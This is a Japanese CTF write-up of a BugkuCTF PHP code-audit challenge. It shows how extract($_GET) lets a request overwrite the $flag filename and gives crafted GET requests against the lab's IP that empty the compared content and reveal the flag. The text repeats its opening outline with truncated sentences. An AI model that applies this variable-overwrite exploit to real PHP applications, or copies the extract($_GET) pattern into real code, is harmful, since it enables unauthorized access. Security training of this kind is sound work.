BugkuCTF_コード監査:「extract変数上書き」
記事の目次一、思考分析 二、解題過程 完 一、思考分析
テーマは以下のphpコードを監査することです
ファイル名は
ファイルからコンテンツを読み込み、先頭と末尾のスペースを除去(&content)
読み出したコンテンツがGETコミットと同じであればFLAG(&shiyan=&content)が得られる
二、解題過程
構築GETリクエスト
または、ファイル名を任意のランダム文字列にすることもできます.ファイルが存在しないため、読み取り内容は常に空の
実際、テーマを分析すると、ファイル名が
完了
コメントエリアへようこそ閲覧ありがとうございます
テーマは以下のphpコードを監査することです
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
ファイル名は
xxx
で、GETメソッドで上書き後のファイル名(&flag)、ファイル内容(&shiyan)をコミットファイルからコンテンツを読み込み、先頭と末尾のスペースを除去(&content)
読み出したコンテンツがGETコミットと同じであればFLAG(&shiyan=&content)が得られる
二、解題過程
構築GETリクエスト
http://123.206.87.240:9009/1.php?shiyan=&flag=
ファイル名(&flag)を空にすると、読み込まれたコンテンツ(&content)が空になり、コミットされたファイルコンテンツ(&shiyan)も空になりますまたは、ファイル名を任意のランダム文字列にすることもできます.ファイルが存在しないため、読み取り内容は常に空の
http://123.206.87.240:9009/1.php?shiyan=&flag=wdnmd
です.実際、テーマを分析すると、ファイル名が
xxx
のファイルは存在しません.パラメータを1つ提出するだけでhttp://123.206.87.240:9009/1.php?shiyan=
をクリアできます.完了
コメントエリアへようこそ閲覧ありがとうございます